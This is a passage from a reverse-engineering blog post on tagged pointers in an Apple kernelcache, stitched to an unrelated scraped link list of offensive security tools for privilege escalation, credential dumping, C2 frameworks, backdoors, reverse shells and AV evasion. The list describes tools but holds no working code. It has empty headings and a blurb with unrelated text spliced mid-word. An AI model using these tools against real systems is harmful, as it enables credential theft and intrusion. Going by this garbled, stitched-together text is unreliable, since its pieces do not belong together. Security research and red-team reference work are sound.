__DATA.__kmod_term:FFFFFFF0088D6618                 AREA __DATA.__kmod_term, DATA, ALIGN=3
__DATA.__kmod_term:FFFFFFF0088D6618                 DCQ 0x0017FFF007DD3E68
__DATA.__kmod_term:FFFFFFF0088D6620                 DCQ 0x0017FFF007DD645C

However, if you look carefully, you’ll see that the last pointer of 

__kmod_init

 actually begins with 

0x0007

 rather than 

0x0017

. After seeing this, I began to suspect that this was some form of pointer tagging: that is, using the upper bits of the pointer to store additional information. Thinking that this tagging could be due to some new kernel exploit mitigation Apple was about to release, I decided to work out exactly what these tags mean to help understand what the mitigation might be.

My next step was to look for different types of pointers to see if there were any other possible tag values. I first checked the vtable for 

AppleKeyStoreUserClient

. Since there are no symbols, you can find the vtable using the following trick:

  • Search for the “AppleKeyStoreUserClient” string in the Strings window.
  • Look for cross-references to the string from an initializer function. In our case, there’s only one xref, so we can jump straight there.
  • The “AppleKeyStoreUserClient” string is being loaded into register 
    x1

     as the first explicit argument in the call to to 

    OSMetaClass::OSMetaClass(char const*, OSMetaClass const*, unsigned int)

    . The implicit 

    this

     parameter passed in register 

    x0

     refers to the global 

    AppleKeySoreUserClient::gMetaClass

    , of type 

    AppleKeyStoreUserClient::MetaClass

    , and its vtable is initialized just after the call. Follow the reference just after the call and you’ll be looking at the vtable for 

    AppleKeyStoreUserClient::MetaClass

    .

  • From there, just look backwards to the first vtable before that one, and that’ll be 
    AppleKeyStoreUserClient

    ’s vtable.

This is what those vtables look like in the new kernelcache:


__DATA_CONST.__const:FFFFFFF0075D7738 ; AppleKeyStoreUserClient vtable
__DATA_CONST.__const:FFFFFFF0075D7738 off_FFFFFFF0075D7738 DCQ 0, 0, 0x17FFF00844BE00, 0x17FFF00844BE04, 0x17FFF007C99514
__DATA_CONST.__const:FFFFFFF0075D7738                                         ; DATA XREF: sub_FFFFFFF00844BE28+287o
__DATA_CONST.__const:FFFFFFF0075D7738                                         ; sub_FFFFFFF00844BE28+2C0o
__DATA_CONST.__const:FFFFFFF0075D7738                 DCQ 0x17FFF007C99528, 0x17FFF007C99530, 0x17FFF007C99540
...
__DATA_CONST.__const:FFFFFFF0075D7738                 DCQ 0x17FFF007D68674, 0x17FFF007D6867C, 0x17FFF007D686B4
__DATA_CONST.__const:FFFFFFF0075D7738                 DCQ 0x17FFF007D686EC, 0x47FFF007D686F4, 0
__DATA_CONST.__const:FFFFFFF0075D7D18 ; AppleKeyStoreUserClient::MetaClass vtable
__DATA_CONST.__const:FFFFFFF0075D7D18 off_FFFFFFF0075D7D18 DCQ 0, 0, 0x17FFF00844BDF8, 0x17FFF0084502D0, 0x17FFF007C9636C
__DATA_CONST.__const:FFFFFFF0075D7D18                                         ; DATA XREF: sub_FFFFFFF0084502D4+887o
__DATA_CONST.__const:FFFFFFF0075D7D18                                         ; sub_FFFFFFF0084502D4+8C0o
__DATA_CONST.__const:FFFFFFF0075D7D18                 DCQ 0x17FFF007C96370, 0x17FFF007C96378, 0x17FFF007C9637C
__DATA_CONST.__const:FFFFFFF0075D7D18                 DCQ 0x17FFF007C96380, 0x17FFF007C963A0, 0x17FFF007C96064
__DATA_CONST.__const:FFFFFFF0075D7D18                 DCQ 0x17FFF007C963AC, 0x17FFF007C963B0, 0x17FFF007C963B4
__DATA_CONST.__const:FFFFFFF0075D7D18                 DCQ 0x57FFF00844BE28, 0, 0

As you can see, most of the pointers still have the 

0x0017

 tag, but there are also 

0x0047

 and 

0x0057

 tags.

You may also notice that the last valid entry in the 

AppleKeyStoreUserClient::MetaClass

 vtable is

0x0057fff00844be28

, which corresponds to the untagged pointer 

0xfffffff00844be28

, which is the address of the function 

sub_FFFFFFF00844BE28

 that references 

AppleKeyStoreUserClient

’s vtable. This supports the hypothesis that only the upper 2 bytes of each pointer are changed: the metaclass method at index 14 should be 

AppleKeyStoreUserClient::MetaClass::alloc

, which needs to reference the 

AppleKeyStoreUserClient

 vtable when allocating a new instance of the class, and so everything fits together as expected.

At this point, I decided to gather more comprehensive information about the tagged pointers. I wrote a quick idapython script to search for 8-byte values that would be valid pointers except that the first 2 bytes were not 

0xffff

. Here’s the distribution of tagged pointers by section:


Python&gt;print_tagged_pointer_counts_per_section()
__DATA_CONST.__mod_init_func           68
__DATA_CONST.__mod_term_func           67
__DATA_CONST.__const               211000
__TEXT_EXEC.__text                    372
__LAST.__mod_init_func                  1
__KLD.__const                          12
__KLD.__mod_init_func                   1
__KLD.__mod_term_func                   1
__DATA.__kmod_init                   1219
__DATA.__kmod_term                   1205
__DATA.__data                       12649
__DATA.__sysctl_set                  1168
__PRELINK_INFO.__kmod_info            179
__PRELINK_INFO.__kmod_start           180

I also counted how many untagged (i.e. normal) pointers I found in each section:


Python&gt;print_untagged_pointer_counts_per_section()
__TEXT.HEADER                          38

Looking at those untagged pointers in IDA, it was clear that all of them were found in the kernelcache’s Mach-O header. Every other pointer in the entire kernelcache file was tagged.

Next I decided to look at how many copies of each tag were found in each section:


Python&gt;print_tagged_pointer_counts_by_tag_per_section()
__TEXT.HEADER                    ffff (38)
__DATA_CONST.__mod_init_func     0007 (1), 0017 (67)
__DATA_CONST.__mod_term_func     0007 (1), 0017 (66)
__DATA_CONST.__const             0007 (2), 0017 (201446), 0027 (4006), 0037 (1694), 0047 (3056), 0057 (514), 0067 (85), 0077 (26), 0087 (46), 0097 (8), 00a7 (12), 00b7 (13), 00c7 (6), 00d7 (1), 00f7 (4), 0107 (4), 0117 (1), 0137 (1), 0147 (4), 0177 (1), 0187 (3), 0197 (1), 01c7 (3), 01e7 (1), 01f7 (8), 0207 (3), 0227 (32), 02a7 (1), 02e7 (8), 0317 (1), 0337 (1), 0477 (1), 04e7 (2), 0567 (1), 0b27 (1), 15d7 (1), 1697 (1), 21d7 (1)
__TEXT_EXEC.__text               0007 (133), 0017 (11), 00a7 (180), 0107 (3), 0357 (1), 03b7 (1), 03e7 (1), 05e7 (1), 0657 (1), 0837 (1), 0bd7 (1), 0d97 (1), 0e37 (1), 1027 (1), 12a7 (1), 1317 (1), 1387 (1), 1417 (1), 1597 (1), 1687 (1), 18b7 (1), 18d7 (1), 1927 (1), 19c7 (1), 19f7 (1), 1ad7 (1), 1c87 (1), 1ce7 (1), 1da7 (1), 1eb7 (1), 2077 (1), 2777 (1), 2877 (1), 2987 (1), 29b7 (1), 2a27 (1), 2a37 (1), 2aa7 (1), 2ab7 (1), 2bd7 (1), 2cf7 (1), 32b7 (1), 3367 (1), 3407 (1), 3417 (1), 3567 (1), 3617 (1), 37c7 (1), 3cb7 (1)
__LAST.__mod_init_func           0007 (1)
__KLD.__const                    0007 (1), 0017 (11)
__KLD.__mod_init_func            0007 (1)
__KLD.__mod_term_func            0007 (1)
__DATA.__kmod_init               0007 (1), 0017 (1218)
__DATA.__kmod_term               0007 (1), 0017 (1204)
__DATA.__data                    0007 (3), 0017 (7891), 001f (23), 0027 (2326), 002f (6), 0037 (1441), 003f (1), 0047 (74), 0057 (306), 0067 (22), 0077 (77), 007f (3), 0087 (98), 0097 (15), 00a7 (23), 00b7 (13), 00bf (1), 00c7 (13), 00d7 (5), 00e7 (6), 00f7 (15), 0107 (1), 0117 (5), 0127 (7), 0137 (8), 0147 (1), 0167 (4), 0177 (2), 017f (89), 0187 (19), 018f (19), 0197 (6), 019f (5), 01a7 (2), 01af (1), 01b7 (2), 01bf (1), 01c7 (3), 01cf (4), 01d7 (1), 01e7 (1), 0207 (1), 0217 (4), 0247 (2), 025f (1), 0267 (2), 0277 (2), 0297 (1), 02a7 (1), 02b7 (2), 02c7 (1), 02d7 (1), 02e7 (1), 02ff (4), 0307 (14), 030f (2), 0317 (1), 031f (1), 0327 (1), 032f (1), 0337 (2), 0357 (2), 0367 (8), 0377 (1), 03c7 (3), 03cf (1), 03d7 (1), 0417 (1), 0427 (1), 0447 (1), 047f (1), 048f (1), 0497 (1), 04a7 (1), 04c7 (1), 04cf (1), 04d7 (2), 0517 (2), 052f (1), 0547 (1), 05f7 (1), 0607 (1), 060f (1), 0637 (1), 0667 (1), 06b7 (1), 0787 (1), 07cf (1), 08ff (1), 097f (1), 09bf (1), 09f7 (5), 0a87 (1), 0b97 (1), 0ba7 (1), 0cc7 (1), 1017 (1), 117f (1), 1847 (1), 2017 (1), 2047 (1), 2097 (1), 2817 (1), 2c37 (1), 306f (1), 33df (1)
__DATA.__sysctl_set              0007 (1), 0017 (1167)
__PRELINK_INFO.__kmod_info       0007 (1), 0017 (178)
__PRELINK_INFO.__kmod_start      0007 (1), 0017 (179)

While studying the results, it became obvious that the distribution of tags across the 2-byte tag space (

0x0000

 to 

0xffff

) was not uniform: most of the tags seemed to use 

0x0017

, and almost all the tags started with the first digit 

0

. Additionally, almost all tags ended in 

7

, and the rest ended in 

f

; no tags ended in any other digit.

I next examined whether there was a pattern to what each tagged pointer referenced, under the theory that the tags might describe the type of referred object. I wrote a script to print the section being referenced by one tagged pointer chosen at random for each tag. Unfortunately, the results didn’t offer any particularly illuminating insights:


Python&gt;print_references_for_tagged_pointers()
0007       149    fffffff007ff5380 __TEXT_EXEC.__text               -&gt;  fffffff007ff53c8 __TEXT_EXEC.__text
0017    213438    fffffff0074c39d0 __DATA_CONST.__const             -&gt;  fffffff00726d80e __TEXT.__cstring
001f        23    fffffff00893c584 __DATA.__data                    -&gt;  fffffff00870956c __TEXT_EXEC.__text
0027      6332    fffffff007639418 __DATA_CONST.__const             -&gt;  fffffff007420e84 __TEXT.__cstring
002f         6    fffffff0089183f4 __DATA.__data                    -&gt;  fffffff0080a11f8 __TEXT_EXEC.__text
0037      3135    fffffff0089010e0 __DATA.__data                    -&gt;  fffffff008a0dff0 __DATA.__common
003f         1    fffffff008937f24 __DATA.__data                    -&gt;  fffffff008520d44 __TEXT_EXEC.__text
0047      3130    fffffff00757b0d0 __DATA_CONST.__const             -&gt;  fffffff008149d68 __TEXT_EXEC.__text
0057       820    fffffff007490b08 __DATA_CONST.__const             -&gt;  fffffff0077470e0 __TEXT_EXEC.__text
0067       107    fffffff00764b980 __DATA_CONST.__const             -&gt;  fffffff00888d8b4 __TEXT_EXEC.__text
...

Finally, while looking at the examples of various tags given by the previous script, I noticed a pattern: 

0x0017

 seemed to be found in the middle of sequences of pointers, while other tags appeared at the ends of sequences, when the following value was not a pointer. On further inspection, the second-to-last digit seemed to suggest how many (8-byte) words to skip before you’d get to the next tagged pointer: 

0x0017

 meant the following value was a pointer, 

0x0027

 meant value after next was a pointer, 

0x0037

 meant skip 2 values, etc.

After more careful analysis, I discovered that this pattern held for all tags I manually inspected:

  • The tag 
    0x0007

     was usually found at the end of a section.

  • The tag 
    0x0017

     was always directly followed by another pointer.

  • The tag 
    0x001f

     was followed by a pointer after 4 intermediate bytes.

  • The tag 
    0x0027

     was followed by a pointer after 8 bytes.

  • The tag 
    0x0037

     was followed by a pointer after 16 bytes.

Extrapolating from these points, I derived the following relation for tagged pointers: For a tagged pointer 

P

 at address 

A

, the subsequent pointer will occur at address 

A + ((P &gt;&gt; 49) &amp; ~0x3)

.

Even though tags as spans between pointers made little sense as a mitigation, I wrote a script to check whether all the tagged pointers in the kernelcache followed this pattern. Sure enough, all pointers except for those with tag 

0x0007

 were spot-on. The exceptions for 

0x0007

 tags occurred when there was a large gap between adjacent pointers. Presumably, if the gap is too large, 

0x0007

 is used even when the section has not ended to indicate that the gap cannot be represented by the tag.

Pointer tags as a kASLR optimization

So, the pointer tags describe the distance from each pointer to the next in the kernelcache, and there’s a formula that can compute the address of the next pointer given the address and tag of the previous one, kind of like a linked list. We understand the meaning, but not the purpose. Why did Apple implement this pointer tagging feature? Is it a security mitigation or something else?

Even though I initially thought that the tags would turn out to be a mitigation, the meaning of the tags as links between pointers doesn’t seem to support that theory.

In order to be a useful mitigation, you’d want the tag to describe properties of the referred-to value. For example, the tag might describe the length of the memory region referred to by the pointer so that out-of-bound accesses can be detected. Alternatively, the tag might describe the type of object being referred to so that functions can check that they are being passed pointers of the expected type.

Instead, these tags seem to describe properties of the address of the pointer rather than the value referred to by the pointer. That is, the tag indicates the distance to the pointer following this one regardless of to what or to where this pointer actually points. Such a property would be impossible to maintain at runtime: adding a pointer to the middle of a data structure would require searching backwards in memory for the pointer preceding it and updating that pointer’s tag. Thus, if this is a mitigation, it would be of very limited utility.

However, there’s a much more plausible theory. Buried among the other changes, the new kernelcache’s prelink info dictionary has been thinned down by removing the 

_PrelinkLinkKASLROffsets

 key. This key used to hold a data blob describing the offsets of all the pointers in the kernelcache that needed to be slid in order to implement kASLR. In the new kernelcache without the kASLR offsets, iBoot needs another way to identify where the pointers in the kernelcache are, and it just so happens that the pointer tags connect each pointer to the next in a linked list.

Thus, I suspect that the pointer tags are the new way for iBoot to find all the pointers in the kernelcache that need to be updated with the kASLR slide, and are not part of a mitigation at all. During boot, the tagged pointers would be replaced by untagged, slid pointers. This new implementation saves space by removing the large list of pointer offsets that used to be stored in the prelink info dictionary.

Conclusion

The new kernelcache format and pointer tagging make analysis using IDA difficult, but now that I have a plausible theory for what’s going on, I plan on extending ida_kernelcache to make working with these new kernelcaches easier. Since the tags are probably not present at runtime, it should be safe to replace all the tagged pointers with their untagged values. This will allow IDA to restore all the cross-references broken by the tags. Unfortunately, the loss of symbol information will definitely make analysis more difficult. Future versions of ida_kernelcache may have to incorporate known symbol lists or parse the XNU source to give meaningful names to labels.

Privilege Escalation & Post-Exploitation

Table of Contents


Sort

end Sort


Hardware-based Privilege Escalation

  • Writeups
  • Tools
    • Inception
      • Inception is a physical memory manipulation and hacking tool exploiting PCI-based DMA. The tool can attack over FireWire, Thunderbolt, ExpressCard, PC Card and any other PCI/PCIe HW interfaces.
    • PCILeech
      • PCILeech uses PCIe hardware devices to read and write from the target system memory. This is achieved by using DMA over PCIe. No drivers are needed on the target system.
    • physmem
      • physmem is a physical memory inspection tool and local privilege escalation targeting macOS up through 10.12.1. It exploits either CVE-2016-1825 or CVE-2016-7617 depending on the deployment target. These two vulnerabilities are nearly identical, and exploitation can be done exactly the same. They were patched in OS X El Capitan 10.11.5 and macOS Sierra 10.12.2, respectively.
    • rowhammer-test
      • Program for testing for the DRAM «rowhammer» problem
    • Tools for «Another Flip in the Wall»

Linux Privilege Escalation


Windows Privilege Escalation


Powershell Things

  • 101
  • Educational
  • Articles/Blogposts/Presentations/Talks/Writeups
  • Command and Control
    • Empire
      • Empire is a post-exploitation framework that includes a pure-PowerShell2.0 Windows agent, and a pure Python 2.6/2.7 Linux/OS X agent. It is the merge of the previous PowerShell Empire and Python EmPyre projects. The framework offers cryptologically-secure communications and a flexible architecture. On the PowerShell side, Empire implements the ability to run PowerShell agents without needing powershell.exe, rapidly deployable post-exploitation modules ranging from key loggers to Mimikatz, and adaptable communications to evade network detection, all wrapped up in a usability-focused framework. PowerShell Empire premiered at BSidesLV in 2015 and Python EmPyre premeiered at HackMiami 2016.
    • Koadic
      • Koadic, or COM Command & Control, is a Windows post-exploitation rootkit similar to other penetration testing tools such as Meterpreter and Powershell Empire. The major difference is that Koadic does most of its operations using Windows Script Host (a.k.a. JScript/VBScript), with compatibility in the core to support a default installation of Windows 2000 with no service packs (and potentially even versions of NT4) all the way through Windows 10.
    • Babadook
      • Connection-less Powershell Persistent and Resilient Backdoor
  • Active Directory
    • Offensive Active Directory with Powershell
    • Attacking ADFS Endpoints with PowerShell
    • Find AD users with empty password using PowerShell
    • LDAPDomainDump
      • In an Active Directory domain, a lot of interesting information can be retrieved via LDAP by any authenticated user (or machine). This makes LDAP an interesting protocol for gathering information in the recon phase of a pentest of an internal network. A problem is that data from LDAP often is not available in an easy to read format. ldapdomaindump is a tool which aims to solve this problem, by collecting and parsing information available via LDAP and outputting it in a human readable HTML format, as well as machine readable json and csv/tsv/greppable files.
    • ACLight
      • The tool queries the Active Directory (AD) for its objects’ ACLs and then filters and analyzes the sensitive permissions of each one. The result is a list of domain privileged accounts in the network (from the advanced ACLs perspective of the AD). You can run the scan with just any regular user (could be non-privileged user) and it automatically scans all the domains of the scanned network forest.
    • MailSniper
      • MailSniper is a penetration testing tool for searching through email in a Microsoft Exchange environment for specific terms (passwords, insider intel, network architecture information, etc.). It can be used as a non-administrative user to search their own email, or by an Exchange administrator to search the mailboxes of every user in a domain. MailSniper also includes additional modules for password spraying, enumerating users/domains, gathering the Global Address List from OWA and EWS, and checking mailbox permissions for every Exchange user at an organization.
    • I hunt sys admins 2.0
    • Invoke-TheHash
      • Invoke-TheHash contains PowerShell functions for performing pass the hash WMI and SMB tasks. WMI and SMB services are accessed through .NET TCPClient connections. Authentication is performed by passing an NTLM hash into the NTLMv2 authentication protocol. Local administrator privilege is not required client-side.
    • LAPSToolkit
      • Tool to audit and attack LAPS environments
    • Wireless_Query
      • Query Active Directory for Workstations and then Pull their Wireless Network Passwords. This tool is designed to pull a list of machines from AD and then use psexec to pull their wireless network passwords. This should be run with either a DOMAIN or WORKSTATION Admin account.
    • Grouper
      • Grouper is a slightly wobbly PowerShell module designed for pentesters and redteamers (although probably also useful for sysadmins) which sifts through the (usually very noisy) XML output from the Get-GPOReport cmdlet (part of Microsoft’s Group Policy module) and identifies all the settings defined in Group Policy Objects (GPOs) that might prove useful to someone trying to do something fun/evil.
  • AV Bypass Stuff
  • Bypass Powershell Restrictions
  • Active Directory
  • Bypass Logging
  • Frameworks
    • Empire
    • Powersploit
    • Nishang
      • Nishang is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security, penetration testing and red teaming. Nishang is useful during all phases of penetration testing.
  • Dumping/Grabbing Creds
    • PShell Script: Extract All GPO Set Passwords From Domain
      • This script parses the domain’s Policies folder looking for Group.xml files. These files contain either a username change, password setting, or both. This gives you the raw data for local accounts and/or passwords enforced using Group Policy Preferences. Microsoft chose to use a static AES key for encrypting this password. How awesome is that!
    • mimikittenz
      • A post-exploitation powershell tool for extracting juicy info from memory.
    • Inveigh
      • Inveigh is a PowerShell LLMNR/mDNS/NBNS spoofer and man-in-the-middle tool designed to assist penetration testers/red teamers that find themselves limited to a Windows system.
    • PowerMemory
      • Exploit the credentials present in files and memory. PowerMemory levers Microsoft signed binaries to hack Microsoft operating systems.
    • Dump-Clear-Text-Password-after-KB2871997-installed
      • Auto start Wdigest Auth,Lock Screen,Detect User Logon and get clear password.
    • SessionGopher
      • SessionGopher is a PowerShell tool that finds and decrypts saved session information for remote access tools. It has WMI functionality built in so it can be run remotely. Its best use case is to identify systems that may connect to Unix systems, jump boxes, or point-of-sale terminals. SessionGopher works by querying the HKEY_USERS hive for all users who have logged onto a domain-joined box at some point. It extracts PuTTY, WinSCP, SuperPuTTY, FileZilla, and RDP saved session information. It automatically extracts and decrypts WinSCP, FileZilla, and SuperPuTTY saved passwords. When run in Thorough mode, it also searches all drives for PuTTY private key files (.ppk) and extracts all relevant private key information, including the key itself, as well as for Remote Desktop (.rdp) and RSA (.sdtid) files.
    • Invoke-WCMDump
      • PowerShell script to dump Windows credentials from the Credential Manager. Invoke-WCMDump enumerates Windows credentials in the Credential Manager and then extracts available information about each one. Passwords are retrieved for «Generic» type credentials, but can not be retrived by the same method for «Domain» type credentials. Credentials are only returned for the current user. Does not require admin privileges!
  • Grabbing Useful files
    • BrowserGatherer
      • Fileless Extraction of Sensitive Browser Information with PowerShell
    • SessionGopher
      • SessionGopher is a PowerShell tool that uses WMI to extract saved session information for remote access tools such as WinSCP, PuTTY, SuperPuTTY, FileZilla, and Microsoft Remote Desktop. It can be run remotely or locally.
    • CC_Checker
      • CC_Checker cracks credit card hashes with PowerShell.
    • BrowserGather
      • Fileless Extraction of Sensitive Browser Information with PowerShell. This project will include various cmdlets for extracting credential, history, and cookie/session data from the top 3 most popular web browsers (Chrome, Firefox, and IE). The goal is to perform this extraction entirely in-memory, without touching the disk of the victim. Currently Chrome credential and cookie extraction is supported.
  • Malicious X (Document/Macro/whatever) Generation
    • ​psWar.py
    • Code that quickly generates a deployable .war for a PowerShell one-liner
  • Priv Esc / Post Ex Scripts
    • PowerUp
      • PowerUp is a powershell tool to assist with local privilege escalation on Windows systems. It contains several methods to identify and abuse vulnerable services, as well as DLL hijacking opportunities, vulnerable registry settings, and escalation opportunities.
    • Sherlock
      • PowerShell script to quickly find missing software patches for local privilege escalation vulnerabilities.
    • JSRat-Py
      • implementation of JSRat.ps1 in Python so you can now run the attack server from any OS instead of being limited to a Windows OS with Powershell enabled
    • ps1-toolkit
      • This is a set of PowerShell scripts that are used by many penetration testers released by multiple leading professionals. This is simply a collection of scripts that are prepared and obfuscated to reduce level of detectability and to slow down incident response from understanding the actions performed by an attacker.
  • Recon
    • Invoke-ProcessScan
      • Gives context to a system. Uses EQGRP shadow broker leaked list to give some descriptions to processes.
    • Veil-PowerView
      • Veil-PowerView is a powershell tool to gain network situational awareness on Windows domains. It contains a set of pure-powershell replacements for various windows 
        net *

         commands, which utilize powershell AD hooks and underlying Win32 API functions to perform useful Windows domain functionality.

    • PowerShell-AD-Recon
      • AD PowerShell Recon Scripts
  • Running Powershell without PowerShell
    • PowerLessShell
      • PowerLessShell rely on MSBuild.exe to remotely execute PowerShell scripts and commands without spawning powershell.exe. You can also execute raw shellcode using the same approach.
  • Miscellaneous Useful Things
    • Invoke-DCOM.ps1
    • PowerShell and Token Impersonation
    • Harness
      • Harness is remote access payload with the ability to provide a remote interactive PowerShell interface from a Windows system to virtually any TCP socket. The primary goal of the Harness Project is to provide a remote interface with the same capabilities and overall feel of the native PowerShell executable bundled with the Windows OS.
    • Utilities
      • 7Zip4Powershell
        • Powershell module for creating and extracting 7-Zip archives
    • Servers
      • Dirty Powershell Webserver
      • Pode
        • Pode is a PowerShell framework that runs HTTP/TCP listeners on a specific port, allowing you to host REST APIs, Web Pages and SMTP/TCP servers via PowerShell. It also allows you to render dynamic HTML using PSHTML files.
    • Invoke-VNC
      • Powershell VNC injector

DLL Stuff

DLL Stuff * Creating a Windows DLL with Visual Basic * Calling DLL Functions from Visual Basic Applications — msdn


Privilege Escalation — OS X


General Post Exploitation


Post-Exploitation Linux

  • 101linpost
  • Articles/Blogposts/Writeups
  • Tools
    • nullinux
      • nullinux is an internal penetration testing tool for Linux that can be used to enumerate OS information, domain information, shares, directories, and users through SMB. If no username and password are provided, nullinux will attempt to connect to the target using an SMB null session. Unlike many of the enumeration tools out there already, nullinux can enumerate multiple targets at once and when finished, creates a users.txt file of all users found on the host(s). This file is formatted for direct implementation and further exploitation.This program assumes Python 2.7, and the smbclient package is installed on the machine. Run the setup.sh script to check if these packages are installed.

Post-Exploitation OS X


Post-Exploitation Windows


Active Directory


Office Macros

Office Macros


Email/Microsoft Exchange

Microsoft Exchange


Grabbing Goodies

Grabbing Goodies

  • Dumping Passwords
    • CredCrack
      • CredCrack is a fast and stealthy credential harvester. It exfiltrates credentials recusively in memory and in the clear. Upon completion, CredCrack will parse and output the credentials while identifying any domain administrators obtained. CredCrack also comes with the ability to list and enumerate share access and yes, it is threaded! CredCrack has been tested and runs with the tools found natively in Kali Linux. CredCrack solely relies on having PowerSploit’s «Invoke-Mimikatz.ps1» under the /var/www directory.
    • LaZagne
      • The LaZagne project is an open source application used to retrieve lots of passwords stored on a local computer. Each software stores its passwords using different techniques (plaintext, APIs, custom algorithms, databases, etc.). This tool has been developed for the purpose of finding these passwords for the most commonly-used software.
    • KeeThief
      • Methods for attacking KeePass 2.X databases, including extracting of encryption key material from memory.
    • pysecdump
      • pysecdump is a python tool to extract various credentials and secrets from running Windows systems. It currently extracts:
      • LM and NT hashes (SYSKEY protected); Cached domain passwords; LSA secrets; Secrets from Credential Manager (only some)
  • Pillaging valuable Files/Logs/Items
    • skype log viewer
      • Download and View Skype History Without Skype This program allows you to view all of your skype chat logs and then easily export them as text files. It correctly organizes them by conversation, and makes sure that group conversations do not get jumbled with one on one chats.
    • Pillaging .pst Files
    • swap_digger
      • swap_digger is a bash script used to automate Linux swap analysis for post-exploitation or forensics purpose. It automates swap extraction and searches for Linux user credentials, Web form credentials, Web form emails, HTTP basic authentication, WiFi SSID and keys, etc.
  • Writeups
  • Tools
    • You Can Type, but You Can’t Hide: A Stealthy GPU-based Keylogger
      • Keyloggers are a prominent class of malware that harvests sensitive data by recording any typed in information. Key- logger implementations strive to hide their presence using rootkit-like techniques to evade detection by antivirus and other system protections. In this paper, we present a new approach for implementing a stealthy keylogger: we explore the possibility of leveraging the graphics card as an alterna- tive environment for hosting the operation of a keylogger. The key idea behind our approach is to monitor the system’s keyboard buffer directly from the GPU via DMA, without any hooks or modifications in the kernel’s code and data structures besides the page table. The evaluation of our pro- totype implementation shows that a GPU-based keylogger can effectively record all user keystrokes, store them in the memory space of the GPU, and even analyze the recorded data in-place, with negligible runtime overhead.
    • SearchForCC
      • A collection of open source/common tools/scripts to perform a system memory dump and/or process memory dump on Windows-based PoS systems and search for unencrypted credit card track data.
    • KeeFarce
      • Extracts passwords from a KeePass 2.x database, directly from memory.
    • KeeThief
      • Methods for attacking KeePass 2.X databases, including extracting of encryption key material from memory.
    • Linux
      • mimipenguin
        • A tool to dump the login password from the current linux user
    • Windows

Gaining Awareness/Situational Awareness

Situational Awareness


Persistence


Linux Persistence


OS X Persistence


Pivoting and Lateral movement:


Avoiding/Bypassing AV(Anti-Virus)/UAC/Whitelisting/Sandboxes/etc


Payloads/Creating Custom Payloads/Etc.

  • Generation
    • How to use msfvenom
    • msfpc
      • A quick way to generate various «basic» Meterpreter payloads via msfvenom (part of the Metasploit framework).
    • MorphAES
      • MorphAES is the world’s first polymorphic shellcode engine, with metamorphic properties and capability to bypass sandboxes, which makes it undetectable for an IDPS, it’s cross-platform as well and library-independent.
  • Go
    • Hershell
      • Simple TCP reverse shell written in Go. It uses TLS to secure the communications, and provide a certificate public key fingerprint pinning feature, preventing from traffic interception.
      • [EN] Golang for pentests : Hershell
  • HTA
    • genHTA
      • Generates anti-sandbox analysis HTA files without payloads
    • morpHTA
      • Morphing Cobalt Strike’s evil.HTA
  • Keying
    • GoGreen
      • This project was created to bring environmental (and HTTP) keying to scripting languages. As its common place to use PowerShell/JScript/VBScript as an initial vector of code execution, as a result of phishing or lateral movement, I see value of the techniques for these languages.
  • LNK Files
  • MSI Binaries
  • .NET
  • Powershell
    • Invoke-PSImage
      • Invoke-PSImage takes a PowerShell script and embeds the bytes of the script into the pixels of a PNG image. It generates a oneliner for executing either from a file of from the web (when the -Web flag is passed). The least significant 4 bits of 2 color values in each pixel are used to hold the payload. Image quality will suffer as a result, but it still looks decent. The image is saved as a PNG, and can be losslessly compressed without affecting the ability to execute the payload as the data is stored in the colors themselves. It can accept most image types as input, but output will always be a PNG because it needs to be lossless. Each pixel of the image is used to hold one byte of script, so you will need an image with at least as many pixels as bytes in your script. This is fairly easy—for example, Invoke-Mimikatz fits into a 1920×1200 image.
  • Python
    • Pupy
      • Pupy is a remote administration tool with an embeded Python interpreter, allowing its modules to load python packages from memory and transparently access remote python objects. The payload is a reflective DLL and leaves no trace on disk
    • Winpayloads
      • Undetectable Windows Payload Generation with extras Running on Python2.7
    • Cloak
      • Cloak generates a python payload via msfvenom and then intelligently injects it into the python script you specify.
  • SCT Files
    • SCT-obfuscator
      • SCT payload obfuscator. Rename variables and change harcoded char value to random one.
  • VBA
    • VBad
      • VBad is fully customizable VBA Obfuscation Tool combined with an MS Office document generator. It aims to help Red & Blue team for attack or defense.
  • Polyglot

Kerberos Related

  • General
    • Attacking Microsoft Kerberos: Kicking the Guard Dog of Hades
      • Kerberos- besides having three heads and guarding the gates of hell- protects services on Microsoft Windows Domains. Its use is increasing due to the growing number of attacks targeting NTLM authentication. Attacking Kerberos to access Windows resources represents the next generation of attacks on Windows authentication.In this talk Tim will discuss his research on new attacks against Kerberos- including a way to attack the credentials of a remote service without sending traffic to the service as well as rewriting tickets to access systems.He will also examine potential countermeasures against Kerberos attacks with suggestions for mitigating the most common weaknesses in Windows Kerberos deployments.
    • Et tu — Kerberos?
      • For over a decade we have been told that Kerberos is the answer to Microsoft’s authentication woes and now we know that isn’t the case. The problems with LM and NTLM are widely known- but the problems with Kerberos have only recently surfaced. In this talk we will look back at previous failures in order to look forward. We will take a look at what recent problems in Kerberos mean to your enterprise and ways you could possibly mitigate them. Attacks such as Spoofed-PAC- Pass-the-Hash- Golden Ticket- Pass-the-Ticket and Over-Pass-the-Ticket will be explained. Unfortunately- we don’t really know what is next – only that what we have now is broken.
    • Abusing Kerberos
  • Tools
    • PyKEK
      • PyKEK (Python Kerberos Exploitation Kit), a python library to manipulate KRB5-related data. (Still in development)`
    • Kerberom
      • Kerberom is a tool aimed to retrieve ARC4-HMAC’ed encrypted Tickets Granting Service (TGS) of accounts having a Service Principal Name (SPN) within an Active Directory

Docker & Containers

  • Articles/Blogposts/Writeups
    • Is it possible to escalate privileges and escaping from a Docker container? — StackOverflow
    • The Dangers of Docker.sock
    • Abusing Privileged and Unprivileged Linux Containers — nccgroup
    • Understanding and Hardening Linux Containers — nccgroup
      • Operating System virtualisation is an attractive feature foThis project provides a command line tool called nms that recreates the famous data decryption effect seen on screen in the 1992 hacker movie Sneakers. For reference, you can see this effect at 0:35 in this movie clip.r efficiency, speed and modern application deployment, amid questionable security. Recent advancements of the Linux kernel have coalesced for simple yet powerful OS virtualisation via Linux Containers, as implemented by LXC, Docker, and CoreOS Rkt among others. Recent container focused start-ups such as Docker have helped push containers into the limelight. Linux containers offer native OS virtualisation, segmented by kernel namespaces, limited through process cgroups and restricted through reduced root capabilities, Mandatory Access Control and user namespaces. This paper discusses these container features, as well as exploring various security mechanisms. Also included is an examination of attack surfaces, threats, and related hardening features in order to properly evaluate container security. Finally, this paper contrasts different container defaults and enumerates strong security recommendations to counter deployment weaknesses— helping support and explain methods for building high-security Linux containers. Are Linux containers the future or merely a fad or fantasy? This paper attempts to answer that question.
  • Tools
  • Talks/Videos

Code Injection

